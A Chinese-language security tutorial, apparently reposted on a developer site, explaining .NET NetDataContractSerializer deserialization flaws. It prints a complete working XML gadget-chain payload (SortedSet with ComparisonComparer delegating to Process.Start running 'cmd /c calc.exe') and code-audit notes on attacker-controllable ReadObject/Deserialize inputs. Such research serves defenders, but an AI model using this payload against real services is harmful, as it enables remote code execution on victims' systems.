一、前言
NetDataContractSerializer 和DataContractSerializer一样用于序列化和反序列化Windows Communication Foundation (WCF) 消息中发送的数据。两者 之间存在一个重要区别:NetDataContractSerializer 包含了CLR,通过CLR类型添加额外信息并保存引用来支持类型精确,而DataContractSerializer 则不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 类型时,才能使用 NetDataContractSerializer。若要序列化对象使用 WriteObject或者Serialize方法,若要反序列化 XML流使用 ReadObject 或者 Deserialize 方法。 在某些场景下读取了恶意的XML流就会造成反序列化漏洞,从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。
二、序列化
使用WriteObject或者Serialize可以非常方便的实现.NET对象与XML数据之间的转化,注意NetDataContractSerializer包含了程序集的名字和被序列化类型的类型。这些额外信息可以用来将XML反序列化成特殊类型,允许相同类型可以在客户端和服务端同时使用。另外的信息是z:Id属性在不同的元素上意义是不同的。这个用来处理引用类型以及当XML被反序列化时是否引用可以保留,最后的结论是这个输出相比DataContractSerializer的输出包含了更多信息。下面通过一个实例来说明问题,首先定义TestClass对象 。
定义了三个成员,并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
笔者使用Serialize得到序列化TestClass类后的xml数据
< TestClass z:Id = "1" z:Type = "WpfApp1.TestClass" z:Assembly = "WpfApp1,Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns = "http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i = "http://www.w3.org/2001/XMLSchema-instance" xmlns:z = "http://schemas.microsoft.com/2003/10/Serialization/" >< age >18 age >< classname z:Id = "2" >360 classname >< name z:Id = "3" >Ivan1ee name > TestClass >
三、反序列化
3.1、反序列化用法
NetDataContractSerializer类反序列过程是将XML流转换为对象,通过创建一个新对象的方式调用ReadObject多个重载方法或Serialize方法实现的,查看定义得知继承自 XmlObjectSerializer 抽象类、 IFormatter 接口
NetDataContractSerializer类实现了XmlObjectSerializer抽象类中的WriteObject、ReadObject方法,也实现了IFormatter中定义的方法。
笔者通过创建新对象的方式调用Deserialize方法实现的 具体实现代码可参考以下
其实在Deserialize方法内也是调用了ReadObject方法反序列化的
反序列化后得到对象的属性,打印输出当前成员Name的值 。
3.2、攻击向量—MulticastDelegate
多路广播委托(MulticastDelegate)继承自 Delegate,其调用列表中可以拥有多个元素的委托,实际上所有委托类型都派生自MulticastDelegate。MulticastDelegate类的_invocationList字段在构造委托链时会引用委托数组,但为了取得对委托链更多的控制就得使用GetInvocationList方法,它是具有一个带有链接的委托列表,在对委托实例进行调用的时候,将按列表中的委托顺序进行同步调用,那么如何将calc.exe添加到GetInvocationList列表方法?首先先看Comparison
Comparison类返回委托,再使用Delegate或者MulticastDelegate类的公共静态方法Combine将委托添加到链中作为Comparison的类型比较器
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下
四、代码审计
4.1、Deserialize
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:
4.2、ReadObject
上面两种方式都是很常见的,需要重点关注。
五、复盘
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
< ArrayOfstring z:Id = "1" z:Type = "System.Collections.Generic.SortedSet`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly = "System,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i = "http://www.w3.org/2001/XMLSchema-instance" xmlns:x = "http://www.w3.org/2001/XMLSchema" xmlns:z = "http://schemas.microsoft.com/2003/10/Serialization/" >< Count z:Id = "2" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2 Count >< Comparer z:Id = "3" z:Type = "System.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly = "0" xmlns = "" >< _comparison z:Id = "4" z:FactoryType = "a:DelegateSerializationHolder" z:Type = "System.DelegateSerializationHolder" z:Assembly = "0" xmlns = "http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a = "http://schemas.datacontract.org/2004/07/System" >< Delegate z:Id = "5" z:Type = "System.DelegateSerializationHolder+DelegateEntry" z:Assembly = "0" xmlns = "" >< a:assembly z:Id = "6" >mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089 a:assembly >< a:delegateEntry z:Id = "7" >< a:assembly z:Ref = "6" i:nil = "true" />< a:delegateEntry i:nil = "true" />< a:methodName z:Id = "8" >Compare a:methodName >< a:target i:nil = "true" />< a:targetTypeAssembly z:Ref = "6" i:nil = "true" />< a:targetTypeName z:Id = "9" >System.String a:targetTypeName >< a:type z:Id = "10" >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >< a:methodName z:Id = "11" >Start a:methodName >< a:target i:nil = "true" />< a:targetTypeAssembly z:Id = "12" >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 a:targetTypeAssembly >< a:targetTypeName z:Id = "13" >System.Diagnostics.Process a:targetTypeName >< a:type z:Id = "14" >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >< method0 z:Id = "15" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = "http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "11" i:nil = "true" />< AssemblyName z:Ref = "12" i:nil = "true" />< ClassName z:Ref = "13" i:nil = "true" />< Signature z:Id = "16" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.Process Start(System.String,System.String) Signature >< Signature2 z:Id = "17" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >< MemberType z:Id = "18" z:Type = "System.Int32" z:Assembly = "0" >8 MemberType >< GenericArguments i:nil = "true" /> method0 >< method1 z:Id = "19" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = "http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "8" i:nil = "true" />< AssemblyName z:Ref = "6" i:nil = "true" />< ClassName z:Ref = "9" i:nil = "true" />< Signature z:Id = "20" z:Type = "System.String" z:Assembly = "0" >Int32 Compare(System.String, System.String) Signature >< Signature2 z:Id = "21" z:Type = "System.String" z:Assembly = "0" >System.Int32 Compare(System.String,System.String) Signature2 >< MemberType z:Id = "22" z:Type = "System.Int32" z:Assembly = "0" >8 MemberType >< GenericArguments i:nil = "true" /> method1 > _comparison > Comparer >< Version z:Id = "23" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2 Version >< Items z:Id = "24" z:Type = "System.String[]" z:Assembly = "0" z:Size = "2" xmlns = "" >< string z:Id = "25" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" >/c calc.exe string >< string z:Id = "26" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" >cmd string > Items > ArrayOfstring >
最后配上动态图演示
六、总结
NetDataContractSerializer序列化功能输出的信息更多,因为性能等原因不及DataContractSerializer,所以在WCF开发中用的场景并不太多,但是因为它无需传入类型解析器所以相对来说更容易触发反序列化漏洞。最后.NET反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/ 、 https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出高质量的.NET反序列化漏洞文章,欢迎大伙持续关注,交流,更多的.NET安全和技巧可关注实验室公众号。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
阿里巴巴正传:我们与马云的“一步之遥”
方兴东、刘伟 / 江苏凤凰文艺出版社 / 2015-1 / 45.00
十几年来,方兴东与马云每年一次,老友聚首,开怀畅谈,阿里上市前,作者再次与马云深度对话,阿里上市前的布局,深入探讨了一系列人们关心的话题。 本书忠实记录了阿里壮大、马云封圣的历史。作者通过细致梳理和盘点,对阿里巴巴的15年成长史进行了忠实回顾。从海博翻译社到淘宝网,从淘宝商城到天猫,从支付宝到阿里云计算,从拉来软银的第一笔投资到纽交所上市,作者对其中涉及到的人物、细节都有生动展现;对于马云、......一起来看看 《阿里巴巴正传:我们与马云的“一步之遥”》 这本书的介绍吧!